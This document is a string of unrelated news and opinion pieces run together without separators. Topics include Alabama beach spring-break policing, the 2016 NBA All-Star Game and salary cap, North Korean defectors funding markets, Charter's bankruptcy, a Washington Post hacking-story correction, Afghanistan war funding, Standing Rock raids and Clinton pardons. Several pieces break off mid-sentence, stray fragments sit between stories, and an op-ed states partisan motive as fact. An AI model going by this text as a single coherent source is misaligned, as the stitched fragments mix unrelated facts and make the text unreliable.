"A combination of better oversight of the beaches, with additional enforcement, with our litter and trash pickup programs... We feel like we're as prepared as ever to make sure that when people come here, they see what we want them to see and experience what we want them to experience, which is a clean and protected beach environment," Brown said. "That's why Gulf Shores is here... It's not just a place to come trash the beach and be a party heaven."
"Our police chief, last year he put out a pretty stern warning," Brown said. "I don't see that philosophy changing at all this year. That raised a few eyebrows, but it seemed to do a pretty decent job."
There's nothing that we feel is a problem on the horizon," Brown said. "Either by a shift of the people getting kicked out of another location and showing up here," or by the convergence of more student bodies in a shorter time than usual.
Brown and Kennon stressed that their cities aren't opposed to spring break. But they have a clear target audience, and it isn't the MTV crowd.
Families are "the majority of our spring break, and that's our bread and butter here is to keep that," Brown said. "Our goal is going to be to not allow the overrun college kids to come in here and create havoc. We still have a lot of families that travel with their kids. That's who we're target-marketing to."
"Most of our spring breakers are families," Kennon said. "We have a strong contingent of families from the Midwest and other places that take that entire week and come down. And those college kids, those high school kids who are here with their parents, or with a youth group or church group or community service, we welcome. Because they are assets."
Kennon hinted that in his own youth, he might not have been in Orange Beach's target audience either. But that was then.
"The other spring breakers, the ones in the tradition of my spring break days... I wouldn't put up with me being here," he said. "They can't do anything I didn't try to do, it's just gotten a whole lot worse, and I don't put up with it."TORONTO - LeBron James is now the NBA's all-time leading scorer in the All-Star Game, but don't let that little nugget fool you.
James was mostly a bystander in the NBA's 65th All-Star Game, won by the West 196-173 scoring just 13 points in 20 minutes.
Russell Westbrook from Oklahoma City was named MVP for the second consecutive year, scoring 31 points with eight rebounds and five assists.
The night was supposed to belong to Lakers legend Kobe Bryant, who was playing in his final All-Star Game with retirement looming at season's end. Bryant entered play leading James by two points on the all-time, All-Star scoring list, but he mustered just 10 points in his finale.
Bryant returned for the last time with 5:29 to go, but failed to score by the time he was removed with 1:06 left and the Air Canada Centre crowd chanting "KO-BE, KO-BE." James was on the sideline the entire time.
As it stands, James now has 291 points in 12 All-Star games. Bryant has 290 in 15 games.
"Oh, it absolutely means nothing. It means absolutely nothing," James said, smiling. "I'm just blessed to be a part of All-Star Weekend. This being my 12th consecutive appearance, being able to start for the East, it means a lot to my family and my fans. But the scoring, that's never meant nothing to me."
James' 13 points tied career low in 12 All-Star games, equaling the 13 points in his first game in 2005. His 20 minutes were easily the lowest of his career.
Say this for Cavs coach Tyronn Lue's first appearance as All-Star coach: he protected his prized player. Otherwise, it didn't go particularly well for Lue, whose East squad coughed up a record 196 points.
James was removed from the game with 5:36 left in the third quarter and never came back. He sat in a chair adjacent to the bench for most of the second half, so the children of some of his East teammates could sit on the bench.
Bryant and James opened the game by jumping against one another at the opening tip. In the first half, James slapped the floor while defending Bryant, as if to say "come on, guy, one more time." Bryant misfired on a jumper.
James, 31, remains the All-Star leader with 28 3-pointers, counting the one he made Sunday night. He said this weekend that the end of Bryant's illustrious, surefire hall-of-fame career has him thinking about his own ending.
"Of course, I'd be lying to you if I didn't think about it," James said.
Bryant was honored with two videoboard tributes for the game even started. It's been a season of such tributes as he plays in road cities for the final time, like he did Wednesday in Cleveland.
"I don't know if I would want that," James said.
"I've got so many great years left to play the game, but I definitely know that at some point we all have to come to an end."SEOUL (Reuters) - As the United States and other nations grasp for new ways to sanction Pyongyang in response to its latest nuclear test, some North Korean defectors see investment in its rudimentary market economy as a way to foment gradual change from within.
A North Korean defector, who declined to be named and requested his face not to be photographed due to his safety, looks at a screen as he poses for photographs after an interview with Reuters in Seoul, South Korea, September 26, 2016. REUTERS/Kim Hong-Ji
One defector living in South Korea uses a clandestine funding channel to send hundreds of thousands of dollars to help dozens of North Koreans open small businesses, such as noodle shops and grocery stores.
Last year, he shipped more than 3,000 Chinese LED desk lamps, chargeable with 12-volt solar panels, to three North Korean entrepreneurs. The defector, who escaped through China in the early 2000s, has also sent acupuncture needles, handbags, hair dye, vitamins and lingerie procured cheaply or through donations.
Under Kim Jong Un, North Korea has allowed a growing number of semi-legal markets known as jangmadang, where individuals and wholesalers buy and sell goods they have produced themselves or imported from China.
The markets have improved the quality of life for many but also makes them less reliant on the Soviet-style planned economy, undermining the power of the state. Markets also facilitate trade of contraband foreign media through USB sticks and DVDs.
“The North Korean business owners I am helping can be an alternative group to build sound capitalism,” said the defector, who is in his 40s and declined to be named fearing for his safety and that of his partners in the North.
The defector, who does not seek a profit, said he has financed several grocery stores with investments of 20,000 to 30,000 yuan ($3,000 to $4,500) in rural towns, and more in Pyongyang.
‘JANGMADANG GENERATION’
A South Korean government-commissioned report last year proposed nurturing North Korean private businesses as a way to drive reform. The plan, which is not government policy, envisions microfinance for start-ups and partnerships with big South Korean firms.
Contact with anyone in the South, however, can be punishable by death in North Korea. That’s because the 1950-53 Korea War ended in a truce instead of a peace treaty, leaving the two Koreas in a technical state of war the past six decades.
South Korea also forbids its citizens from trading with the North but turns a blind eye to remittances estimated at $10 million a year sent to relatives by many of the nearly 30,000 defectors in the South.
Hong Soon-jick, a research fellow at state-run Korea Institute for National Unification, said defector financiers can use the same funding routes.
Related Coverage North Korean soldier makes rare defection across DMZ to South
“This can accelerate marketization and circulation of information,” he said. “But there are political risks, so these transactions should be done secretly, even if South-North Korea relations improve.”
The approach is a departure from the distribution of leaflets and USB sticks and radio broadcasts that are more typically used by anti-regime activists in the South to win the hearts and minds of North Koreans.
In a similar vein, the U.S. State Department recently sought proposals to fund projects aimed at promoting democracy in North Korea and encourage young defectors living in the South and who grew up among the “jangmadang generation” to reach out to young North Koreans.
CHINA BANKS
One such young defector, Seoul-based activist Ji Seong-ho, has been sending funds of $300 to $500 at a time for North Koreans to open food stalls and crop-lending businesses in rural areas.
“The bigger markets grow, the weaker the regime gets, so we need to support North Korean entrepreneurs,” said Ji, 34, who heads Now, Action and Unity for Human Rights (NAUH), which tries to help North Korean refugees in China to defect.
Surveys of defectors by Seoul National University found that the biggest challenge for North Koreans doing business was funding, followed by bribes paid to authorities and occasional crackdowns on market activity.
The first defector, who uses a clandestine money channel, typically works with middlemen who wire money to banks in China, where it is collected by agents and carried across the border.
He vets prospects through his relatives and acquaintances.
A few years ago, he sent several North Koreans cupping therapy machines, used in Chinese medicine, which he bought in the South for around $20 dollars each. They sold at a mark-up of more than three times in North Korea.
His brokers on the ground send photographs to him of businesses the defector has funded, using cellphones connected to China’s mobile network.
The defector’s secret project started in 2006 when he bought a used 2.5 tonne truck in China for 5 million won ($4,550) and sent it to a North Korean who then used it to make a living carrying goods.
Slideshow (2 Images)
In 2014, a deep-pocketed sponsor the defector declined to identify began supporting his effort.
He tells the North Koreans he helps “not to be greedy, help other poor North Koreans and gain respect,” he said. “This is maybe more effective than thumb drives, because it directly supports livelihoods.”
($1 = 1,114.9000 won, $1 = 6.6680 Chinese yuan)Thanks to a Florida Supreme Court decision, Florida |
the pool
At the luxe Six Senses Spa in Jordan guests can swim under the natural hot spring cascading down the mountains that are right in in the middle of the desertMEXICO CITY -- This may not weigh heavily on the minds of voters in Seattle, but if Washington and two other U.S. states decide to legalize marijuana in next week's election, the effect on drug traffickers in Mexico could be enormous.
Such is the suggestion of a new study by a Mexican think tank.
"It could be the biggest structural blow that [Mexican] drug trafficking has experienced in a generation," Alejandro Hope, security expert with the Mexican Competitiveness Institute, said in presenting the report.
Producing and distributing marijuana inside the U.S. would supply a less expensive and better quality drug to the millions of American who smoke it, Hope said. Demand for Mexican pot would decline, cutting into cartels' profits by 22% to 30%, the study calculates.
The consequences would be most dramatic, Hope added, for the powerful Sinaloa Cartel, which is based in western Mexico and controls most of the marijuana production.
It is estimated that around one-third of Mexican drug gangs' income is from marijuana, surpassed only and narrowly by cocaine.Charter Communications Inc. announced today it will file for prearranged Chapter 11 bankruptcy protection by April 1, a date settled on after the troubled MSO was able to strike a deal with certain debt holders. (See Charter Strikes Debt Reduction Deal.)
That debt deal, also announced today, will lighten Charter's $21 billion-plus debt load by $8 billion and set the stage for a Chapter 11 reorganization. Charter said refinancing and new capital will total $3 billion, adding that it presently has about $800 million in cash and cash equivalents on hand.
But the news for Charter's common stock holders is dim. Those suckers "will not receive any amounts on account of their common stock, which will be canceled," Charter said.
A prearranged bankruptcy has been speculated on for months, bubbling to the surface again last month when the MSO announced it would miss a $73.7 million interest payment and disclosed elements of a new compensation plan for some of its top executives. (See Tracking Charter and Charter Misses Interest Payment.) Today, Charter said it would make that interest payment by the allotted grace period.
Before that, Charter hired Lazard LLC to discuss "financial alternatives" with MSO bondholders. (See Charter Seeking 'Financial Alternatives'.)
Even with the coming Chapter 11 filing and subsequent reorganization, Charter said it expects services and operations to continue unchanged.
“We are committed to continuing to provide our 5.5 million customers with quality cable, Internet and phone service, and through this agreement, we will be even better positioned to deliver the products and services our customers demand now and in the future," Charter president and CEO Neil Smit said, in a release. "Moreover, the interest and support provided by our stakeholders with their new capital investment underscores their confidence in Charter and our business.”
Under the deal with debt holders, Charter chairman and Microsoft Corp. (Nasdaq: MSFT) billionaire co-founder Paul Allen will remain as an investor and retain the largest voting position in the MSO, which serves 5.5 million subscribers and is the nation's fourth-largest cable operator.
Based on recent cable history, Charter has a chance to get its debt mess straightened out and come out smelling perhaps not as a rose, but at least with a less stinky balance sheet. RCN Corp. filed a similar, voluntary bankruptcy in May 2004 and completed the restructuring by the end of that year, though that deal was done during a better economic environment. More recently, smaller MSO Broadstripe LLC filed for Chapter 11 protection in January in the hopes that it can iron out its own debt issues. (See Broadstripe Turns to Chapter 11.)
Although Charter is on the way to bankruptcy, areas of its operations continue to improve. In a separate announcement, the MSO said it expects to post fourth-quarter revenues of $1.65 billion, up 6.6 percent year-over year. Despite losing 75,100 basic video subs in the period, it added 22,300 digital video subs, 22,900 cable modem customers, and 75,200 telephone customers. (See Charter Posts Q4.)
— Jeff Baumgartner, Site Editor, Cable Digital NewsOPINION: Elsa knew that Hans was going to kill her
After Hans reveals to Elsa that Anna died because of her, Elsa falls to the ground in grief. It is in her fallen state that Hans finds the perfect time to murder Elsa. Some fans debate whether or not she knew he was going to kill her, but I am of firm believe of it: yes, she knew he was going to kill her.
How do I come to that conclusion, you may ask? Well, remember that when Anna was about to run to Kristoff, she heard Hans unsheathe his sword, even though she was a small distance away from them?
If Anna heard the sound, how could Elsa not have, especially since Hans was right behind her?
So that there makes me believe that Elsa heard Hans unsheathe his sword and knew he was going to kill her. If she did, why didn’t she get up and fight him?
Because Elsa is so distraught over what she was told that she does not care about what happens to her now. Since she loves Anna so much, I’m sure that she would no longer want to live if anything bad happened to Anna.
Also, Elsa felt that she deserved it. All of her family is dead, so now she has nothing that makes her life worth living. Most especially, she had worked so hard to keep Anna safe, by staying away from her and putting Anna’s happiness before her own.
And now she believes she has failed after all this time.There's a massive shadow over the 2015-16 NBA season. The shadow created by the giant sack of money hanging over the league, ready to drop on July 1, 2016. The league is always changing, but the infusion of money from a new national TV broadcast deal is going to shake the NBA to its core. Some of the impacts will be positive, some negative. But the impacts are coming, and fast.
To wit:
NBA teams could have a combined $1.07 billion in salary cap space for 2016 free agents, according to a review of current salary data.
in salary cap space for 2016 free agents, according to a review of current salary data. NBA players are guaranteed to earn just over $3 billion total in the 2016-17 season.
total in the 2016-17 season. Only $1.6 billion of that is currently committed, meaning NBA owners will need to spend an additional $1.4 billion on player salaries in '16-17 one way or another
The league's projections peg the 2016-17 team salary cap at a record $89 million thanks to the new TV deal. Assuming that all player and team options for 2016-17 are rejected*, every team in the NBA is currently under the projected salary cap by at least $11 million. There are three teams that could free up more than $60 million in cap space without making any additional trades or cuts.
*The exception: we assumed the third and fourth years of rookie scale contracts for first-round picks would be picked up.
In all likelihood, a number of team options will be picked up, shrinking available cap space. Any Early Bird extensions signed by fourth-year first-rounders (like Harrison Barnes and Andre Drummond) will shrink the cap space figure. If Tristan Thompson signs, that will shrink the cap space. When all is said and done, the gross cap space number may fall below the $1 billion line. But that doesn't mean more than $1 billion in 2016-17 salary won't be committed in the first few days of July 2016.
WARNING: COMPLICATED, BORING ENVELOPE MATH
The league's projected basketball-related income (BRI) for 2016-17 is $6.4 billion. The 2011 collective bargaining agreement capped salaries and benefits at 51 percent of BRI, and benefits soak up right around $210 million. That leaves just over $3 billion guaranteed for player salaries in 2016-17.
There are $1.6 billion in salaries already committed to 224 players for next season. This includes all guaranteed contracts only with one exception: second- and third-year players who were first-round picks. These players have team options on the third and fourth years of their contracts that are almost universally picked up, so I included those contracts in these calculations. I omitted any other contract with a team or player option. (I expect most players to reject player options. Some teams will drop players on options, too, in order to grab cap space, though any productive player should expect the team to pick it up given the salary climate.)
So, players are contractually due $3 billion. There is $1.6 billion already committed. That means players are due another $1.4 billion in 2016-17. There can be a maximum of 15 players on a regular season roster. With 30 teams, that means in theory 450 total roster spots are available each year. (This ignores that players with guaranteed contracts -- like Josh Smith -- can be waived, freeing up a spot without freeing up guaranteed player salary.) As mentioned, 224 players are already under contract for next season. That leaves about 226 roster spots for other players. Those 226 players will split up the $1.4 billion still on the table.
Or not. There's a possibility that some of that money will still be on the table at the end of 2016 free agency, in which case the NBA Players' Association will decide how to split it up. The collective owners still must pay $3 billion to players in 2016-17. If they don't do so through regular contracts, the leftover amount goes to the union to be split accordingly. This is similar to what happens when a team doesn't reach the salary minimum in a season: the difference is split among players under contract. The actual mechanics of how this would work are fuzzy.
In reality, what's likely to happen is that the top 75 free agents will soak up a huge portion of the allotted cap space, dozens of players will sign small contracts and a hundred or more will sign minimum or semi-guaranteed deals near the minimum. The 2016 free agent class is not particularly deep, but that money isn't going to spend itself. We could see a slew of players signing deals over $20 million per year.
BACK TO ALL THAT CAP SPACE
So if there's about $1 billion of cap space but players are contractually due another $1.4 billion, how's that going to work?
The NBA's salary cap is soft: teams can exceed it by using a slew of exceptions (like the Bird exception, the Early Bird exception, the mid-level exception, the biennial exception, the rookie exception). That's why the salary cap is not just the total amount due to players divided by 30: the salary cap is calculated to be a lower amount because the NBA and players' union know that most teams will use exceptions to exceed the cap. Some of the teams with a modest amount of cap space heading into 2016 will absolutely exceed it. The Cavaliers might, against all odds, bust through the luxury tax threshold.
It's relatively certain that some teams will struggle to get up to the salary cap number. That's the case with a much lower cap this season: Philadelphia and Portland are each more than $12 million under the cap. Consider this: The 2016-17 salary cap will be $89 million. Only eight teams are at or above that salary level this season, and no team has more than $78 million committed for 2016-17.
We're going to be left with a lot of massive deals, and some of them could get weird. There could be a spate of ridiculously huge one-year contracts (so teams can preserve space in 2017 and beyond) and likely a few teams well below the salary cap number. It's going to be completely nuts, even by NBA free agency standards.
SO, WHO HAS THE SPACE?
Many thanks to BasketballInsiders.com, whose salary data is clean and thorough. We crunched the 2016-17 salary numbers presented there to figure teams' potential 2016-17 cap space as of now.
Well, the Los Angeles Lakers have a huge chunk of it -- more than $65 million worth. Only six Lakers have guaranteed deals in 2016-17, and the biggest one is only $7 million (Lou Williams). To get all of that cap space, the Lakers would have to renounce Bird rights to Kobe Bryant and Roy Hibbert (who each have $20 million plus cap holds) and decline options on a few other players.
The Philadelphia 76ers don't need to do much to open up $62 million in cap space: they don't have any major contracts on the books, so there isn't anything really to come off. (The two biggest contracts on their sheet this season belong to two waived players, JaVale McGee and Gerald Wallace.) The Dallas Mavericks have $29 million locked up in five players (led by Wesley Matthews' $17 million), but there's another $30 million tied up in player options that could go either way and will dictate how big a player Big D can be.
If Cleveland signs Tristan Thompson to any amount in the negotiated range, they'll still have cap space in 2016. But that doesn't include LeBron James, who has a player option he is incredibly likely to decline in order to boost his salary share.
ARE THERE GOOD FREE AGENTS TO SPEND ALL OF THIS DOUGH ON?
There's Durant and LeBron (the latter of which is almost assuredly sticking with Cleveland for a max contract starting at $31 million). Dwight Howard can become a free agent. The top unrestricted FAs in their primes will be Mike Conley, Al Horford and Joakim Noah. DeMar DeRozan and Chandler Parsons can opt out. There's Al Jefferson and Roy Hibbert, and by mentioning Hibbert so early in this exercise, you have your answer: this is not a deep set of star free agents.
There are plenty of useful players, but few worth max-level contracts, especially since maxes will cost even more. (They are calculated as a percentage of the team salary cap. LeBron's max for the 2016-17 season will be more than $31 million, for example. He's making less than $23 million this season.)
With all that said, here's a prediction that another $1.4 billion is not going to get spent in 2016, leaving the players missing some money due to them, according to the labor agreement. But that and a full exploration of the lucky-as-a-leprechaun 2016 NBA free agent class will come later. For now, revel in the sea of salary cap space teams are facing.Economic Aspects
As noted earlier, 66% of the sample was disabled, and only 15% were employed full-time. Of the interview subgroup, 77% reported significant financial hardship due to CFS. Participants reported that they had exhausted their savings and sense of security (14%), were forced into debt (27%), were forced to move (18%), and had become financially dependent on family (18%) or friends (1%). They often could not afford treatments and therapies (18%) and were dissatisfied with the lack of insurance coverage for alternative therapies and special nutritional needs. One participant spent $10,000 on alternative therapies alone.
Financial pressures also created significant stress and worry for the interview subgroup. One participant's marriage became strained because of his inability to work, and 27% reported that they had no economic choice but to push themselves to work despite worsening symptoms. Economic factors therefore contributed to illness severity and, perhaps, lack of recovery. Additionally, the interview subgroup experienced stress, mental strain, and depletion of energy from the rigorous application process for social security and disability benefits, stating that they lacked the stamina necessary to “prove” the extent of their disability. Eighteen percent reported relapses as a result of their efforts to obtain disability benefits.When a company fails at its basic mission in a way that harms the public, and then tries to mislead the public about it, newspaper reporters can be counted on to immediately swoop in and demand that the company be held to account.
So what happens when the company in question is a major, highly influential newspaper? Let's see.
On Friday, the Washington Post published an earth-shattering report that Russian hackers had infiltrated the U.S. electricity grid through a Vermont utility.
The story's lede said that a "code associated with the Russian hacking operation dubbed Grizzly Steppe by the Obama administration has been detected within the system of a Vermont utility, according to U.S. officials."
It went on to say that while "the Russians did not actively use the code to disrupt operations of the utility, according to officials who spoke on condition of anonymity in order to discuss a security matter, the penetration of the nation's electrical grid is significant because it represents a potentially serious vulnerability."
"Officials said that it is unclear when the code entered the Vermont utility's computers," the story added.
This was huge news, and for good reason. If Russian hackers, or any hackers for that matter, had found their way into the U.S. electricity grid, there would be almost no end to the harm they could cause. Not surprisingly, the Post story spread like wildfire.
But it turns out that none of it was true. Zip. Zero. Nada.
There was no code, the grid was never at risk, and the "threat," such as it was, had nothing to do with Russia.
In fact, hours after the story posted, it was updated to note that the utility in question said there was only one computer involved — not "computers" — which wasn't in any way connected to the power grid. Strike one.
Three days later, the story fell apart completely. What actually happened: "An employee at Burlington Electric Department was checking his Yahoo email account Friday and triggered an alert indicating that his computer had connected to a suspicious IP address," the Post reported on Monday.
Strike two and three. In short, there was no story at all worth reporting.
Worse, the Post tried to bamboozle the public about what happened. The Post's top PR official, Kris Coratti, told Forbes contributor Kalev Leetaru that the reporters involved had reached out to both Vermont utilities before the story first posted Friday night. But Leetaru checked the original version of the story, captured by the Internet Archive, and found no evidence to back this up. An official at the utility in question told Leetaru that he didn't hear from the Post until after the story published. Had the Post talked to the utility before rushing onto the web, the story probably never would have seen the light of day.
"It is simply astounding that any newspaper, let alone one of the Post's reputation and stature, would run a story and then ten minutes after publication, turn around and finally ask the central focus of the article for comment," Leetaru wrote.
Then there's the broader political context to this story.
Just a few weeks earlier, the Post had to basically retract another story, this one claiming Russian propaganda officials had spread fake news in the run-up to the election to help Donald Trump. The Vermont utility story also directly tied the breach to the Russian's alleged hack of the DNC.
In other words, both of these fake news stories conveniently amplified the Democratic Party's narrative that Russia had tilted the election in Trump's favor. That's a serious breach of journalistic ethics if ever there was one.
So what's the Post's response to all this? Essentially, nothing.
In fact, when Washington Post blogger Erik Wemple pressed his own paper for answers, he got the brushoff from the Post's PR department, which merely issued a statement saying, "We have corrected the story, prominently displayed the correct information after further reporting, evaluated what transpired, and had the appropriate discussions internally to make sure something similar does not occur again."
Reporters would never let an energy company or a toy manufacturer or any other major corporation get away with that sort of cavalier response after a similarly spectacular failure in carrying out its basic mission. They shouldn't let the Post off the hook either.
The public deserves a fuller accounting from a newspaper as influential as the Washington Post, and some clear evidence that it is taking concrete steps to ensure that it is honestly and fairly reporting the news, not making it up to help Democrats.
Merline is Deputy Editor of Commentary and Opinion at IBD.
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Fake News: Media Misreport Gallup Poll Results About Trump's AbilitiesVAIO announced three exciting new Windows laptops on Wednesday with powerful hardware and sleek designs. The company, which split from Sony in 2014, won’t actually start selling the new models until at least next month.
At the top of the list is the VAIO Z flip model. This hybrid laptop packs a 13-inch Quad HD display that flips around to become a touchscreen tablet. It also includes an Intel Core i5 or i7 Skylake processor, 8GB or 16GB of RAM and enough battery to last about 12 hours. It launches in the U.S. on February 8 starting at $1,799.
For a little less dough you can try the VAIO Z clamshell model. It features a similar sleek design and specs, but skimps on the display with a non-touch screen and a 1080p resolution. It launches next month starting at $1,499.
Finally, the new VAIO S is a chunkier laptop that packs in extra ports for Ethernet and VGA. It still manages to look pretty good, though, and it’s apparently the company’s top seller in Japan. The VAIO S launches in March starting at $1,100, and comes equipped with a Core i5 or Core i7 chip, 8GB of RAM, 128GB or 256GB of SSD storage and a 1080p display.
If you’re looking for a reliable new Windows laptop, VAIO should have you covered. Once these computers launch in the U.S., the company will have a pretty nice range of devices to choose from, whether you want something reliable and simple or prefer to have all the bells and whistles.
Update: The names for the VAIO Z laptops have been clarified.Apple CEO Tim Cook defended globalization on Saturday, arguing that it is generally "great for the world."
During a public speech in China, Cook reportedly warned world leaders against abandoning globalization even though gains are not equally distributed within nations.
“I think the worst thing would be to — because it didn’t help everyone — is to say it’s bad and do less of that,” Cook said during his speech at an annual conference sponsored by the Chinese government, The Wall Street Journal reported.
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“I think the reality is you can see that countries in the world … that isolate themselves, it’s not good for their people,” he added.
President Trump's active defense of domestic industries has often been viewed in sharp contrast with free trade and globalization.
The commander in chief has insisted that he favors "fair" trade that benefits the U.S. and that he simply wants to bring jobs back to the country.
According to the Journal, Cook's comments on Saturday were broad and did not directly address Trump's call for Apple to bring employment back to the U.S.
The Apple CEO also commented on data privacy, stating that it remains one of the company's core values.
“We think that an individual should own their data and should be able to control their data,” Cook said, according to the newspaper.
His comments come in the wake of a controversial Chinese law that requires companies to help authorities decrypt information during various investigations.
The Journal said that Cook's speech was part of a broader "charm offensive" in China, where his company has announced a pair of new research facilities.WASHINGTON (AP) The House on Tuesday sent President Obama a major war-funding increase of $33 billion to pay for his troop surge in Afghanistan, unmoved by the leaking of classified documents that portray a military effort struggling between 2004 and 2009 against a strengthening insurgency. The House voted, 308-114, to approve the spending boost for the additional 30,000 U.S. troops in Afghanistan. Other non-war provisions brought the total bill to nearly $59 billion. From Obama on down, the disclosure of the documents was condemned by administration officials and military leaders on Tuesday, but the material failed to stir new anti-war sentiment. The bad news for the White House: A pervasive weariness with the war was still there — and possibly growing. Republicans in Congress still were strongly behind the boost in war spending, but there was unusually strong opposition from members of Obama's own Democratic Party. All but 12 of the "no" votes in the House came from Democrats. In debate before the vote, Rep. Jim McGovern, D-Mass., said the leaked documents revealed corruption and incompetence in the Afghanistan government. "We're told we can't extend unemployment or pay to keep cops on the beat or teachers in the classroom but we're asked to borrow another $33 billion for nation-building in Afghanistan," McGovern said. At a Senate hearing on prospects for a political settlement of the Afghan conflict, there was scant mention of the leaked material, posted on the website of the whistle-blower group WikiLeaks, but there were repeated expressions of frustration over the direction of the fighting. Sen. John Kerry, D-Mass., who has questioned the realism of U.S. goals in Afghanistan though he supports the war, pointedly asked why the Taliban, with fewer resources and smaller numbers, can field fighters who are more committed to winning than are Afghan soldiers. "What's going on here?" Kerry asked with exasperation. But Sen. John McCain, R-Ariz., a vocal supporter of the war, took issue at a separate hearing with anyone who would argue that the leaked documents buttress arguments for withdrawing now from Afghanistan. "In actuality, the emerging picture from these documents appears to be little more than what we knew already: that the war in Afghanistan was deteriorating over the past several years," McCain said. Marine Corps Gen. James Mattis told senators at a hearing on his nomination to lead the military's Central Command that, whatever other lessons are drawn from the WikiLeaks documents, no one should doubt that the U.S. is committed to staying in Afghanistan until it wins. "We are on the right track now," Mattis said, while predicting that the U.S. casualty rate would increase in coming months as still more U.S. troops join the fight against the Taliban. In his first public comments on the weekend leak of tens of thousands of documents, Obama said it could "potentially jeopardize individuals or operations" in Afghanistan. But he also said the papers did not reveal any concerns that were not already part of the war debate. Obama said the shortcomings in Afghanistan as reflected in the leaked documents explain why, last year, he undertook an in-depth review of the war and developed a new strategy. "We've substantially increased our commitment there, insisted upon greater accountability from our partners in Afghanistan and Pakistan, developed a new strategy that can work and put in place a team, including one of our finest generals, to execute that plan," Obama said. "Now we have to see that strategy through." In the House, Appropriations Committee Chairman David Obey, D-Wis., said he was torn between his obligation to bring the bill to the floor and his "profound skepticism" that the money would lead to a successful conclusion of the war. Even if there were greater confidence, he said, "it would likely take so long it will obliterate our ability to make the kinds of long-term investments in our own country that are so desperately needed." The leaked documents are battlefield reports compiled by various military units in Afghanistan that provide an unflinching view of combat operations between 2004 and 2009, including U.S. displeasure over reports that Pakistan secretly aided insurgents fighting American and Afghan forces. Even as the administration dismissed the leaked documents as outdated, U.S. military and intelligence analysts were caught up in a struggle to limit the damage contained in the once-secret files now scattered across the Internet. In Baghdad, Adm. Mike Mullen, chairman of the Joint Chiefs of Staff, told reporters he was "appalled" by the leak, which he said had the potential of putting troops' lives at added risk. Officials also are concerned about the impact the disclosures could have on the military's human intelligence network built up over the past eight years inside Afghanistan and Pakistan. The people in that network range from Afghan village elders who have worked behind the scenes with U.S. troops to militants working as double agents. Beyond expressions of disgust at the document dump, the political fallout in Washington appeared limited. Advocates of pulling U.S. troops out of Afghanistan said the leaks reinforced their argument for disengaging. War supporters said they illustrated why Obama was right to decide last December to send an additional 30,000 troops and step up pressure on the Afghan government to reform, while pressing Pakistan to go after insurgents on its side of the border. At the State Department, spokesman P.J. Crowley said efforts to explain to Afghanistan and other allies that the U.S. government played no role in leaking the documents seemed to have paid off. "We're very gratified that the response thus far internationally has been moderate, sober," Crowley said. In his only reference to the leak, Kerry called the new material "over-hyped," said that it was released in violation of the law and that it largely involved raw intelligence reports from the field. Copyright 2010 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreSpread the love
Police and National Guard forces began raiding camps at Standing Rock Wednesday afternoon, not long after reports stated the U.S. Army Corps of Engineers would be granting an easement necessary for completion of the Dakota Access Pipeline.
Reports from the scene suggested law enforcement blocked the road into the camp at both the northern and southern ends — effectively kettling the entire area, which would leave anyone remaining subject to arrest.
“Law enforcement have evicted about 40 Dakota Access pipeline opponents from a camp the demonstrators set up on higher ground near their flood-prone main camp in southern North Dakota,” CBC reports. Social media reported the number of arrested had surpassed 50.
Among the detained water protectors, livestreamer Shiyé Bidzííl stated on video, was vocal pipeline opponent and #NoDAPL leader, Chase Ironeyes.
Heavily militarized police advanced across Highway 1806’s Backwater Bridge from the north — a boundary not crossed by either law enforcement or water protectors since the barricade was reinforced by authorities in November.
Social media posts indicated Bureau of Indian Affairs police had set up a roadblock to prevent anyone seeking to enter the camps while the raid was performed.
Government forces intend to clear a newly erected camp put in place on ground above the floodplain where Oceti Sakowin, the main camp, and others have been in place since as early as April last year.
But that camp was considered illegal, and as such became the first camp subject to a police raid since last fall.
Energy Transfer Partners, the company responsible for Dakota Access and recently acquired by Sunoco Logistics, halted construction after the U.S. Army Corps of Engineers denied an easement in order to perform a full environmental impact statement.
That order, however, came on the heels of another order from the Corps and one from North Dakota Governor Jack Dalrymple which essentially cut access by emergency services to the camps and deemed anyone present to be subject to arrest for trespassing.
Indeed, over concerns about winter conditions and the spring snow melt flooding the camps, leaders in the Standing Rock Sioux Tribe have repeatedly requested the water protectors who aren’t residents to evacuate.
Just yesterday, Senator John Hoeven issued a statement announcing,
“Today, the Acting Secretary of the Army Robert Speer informed us that he has directed the Army Corps of Engineers to proceed with the easement needed to complete the Dakota Access Pipeline. This will enable the company to complete the project, which can and will be built with the necessary safety features to protect the Standing Rock Sioux Tribe and others downstream […]
“We are also working with the Corps, the Department of Justice, the Department of Interior and the Department of Homeland Security to secure additional federal law enforcement resources to support state and local law enforcement. On Sunday, 20 additional Bureau of Indian Affairs law enforcement officers arrived at Standing Rock to assist local authorities. Also, the Standing Rock Sioux Tribal Council has asked the protesters to leave the campsite on Corps land.”
Fraught with contention, Dakota Access has been the subject of a massive opposition campaign since last spring, which began with a couple hundred people camped near the Missouri River’s Lake Oahe reservoir, and quickly mushrooming to several thousand in the summer.
Though camp population has declined following the multiple orders from authorities, at least 300 people recently started a new camp above the floodplain in an effort to be partially compliant.
As this article went to publication, militarized riot police and National Guard troops backed by armored vehicles and other equipment stood on the road looking over camps, as if awaiting night for another advancement.
This is a developing story and will be updated as needed.Marc Rich By Rich Schultz, AP CLEMENCY REQUESTS MADE TO CLINTON CLEMENCY REQUESTS MADE TO CLINTON The documents on former president Bill Clinton's presidential pardons released this week by the Clinton Presidential Library include scores of clemency requests for people from all walks of life. Some examples: Former heavyweight boxing champion Riddick Bowe wrote Clinton a two-page letter seeking a pardon on a domestic violence conviction. It was not granted. Edward DeBartolo, former co-owner of the San Francisco 49ers football team, sought a pardon on his guilty plea related to an illegal payment he made to former Louisiana governor Edwin Edwards. It was not granted. Former first lady Rosalynn Carter sent Clinton a handwritten note seeking a pardon for Patricia Hearst for her role in a 1974 bank robbery while in the custody of the Symbionese Liberation Army. It was granted. Former president Gerald Ford sent a letter supporting a pardon for former congressman Dan Rostenkowski, D-Ill., on a mail fraud conviction. It was granted. Peter Eisler, USA TODAY LITTLE ROCK Federal archivists at the Clinton Presidential Library are blocking the release of hundreds of pages of White House papers on pardons that the former president approved, including clemency for fugitive commodities trader Marc Rich. The archivists' decision, based on guidance provided by Bill Clinton that restricts the disclosure of advice he received from aides, prevents public scrutiny of documents that would shed light on how he decided which pardons to approve from among hundreds of requests. Clinton's legal agent declined the option of reviewing and releasing the documents that were withheld, said the archivists, who work for the federal government, not the 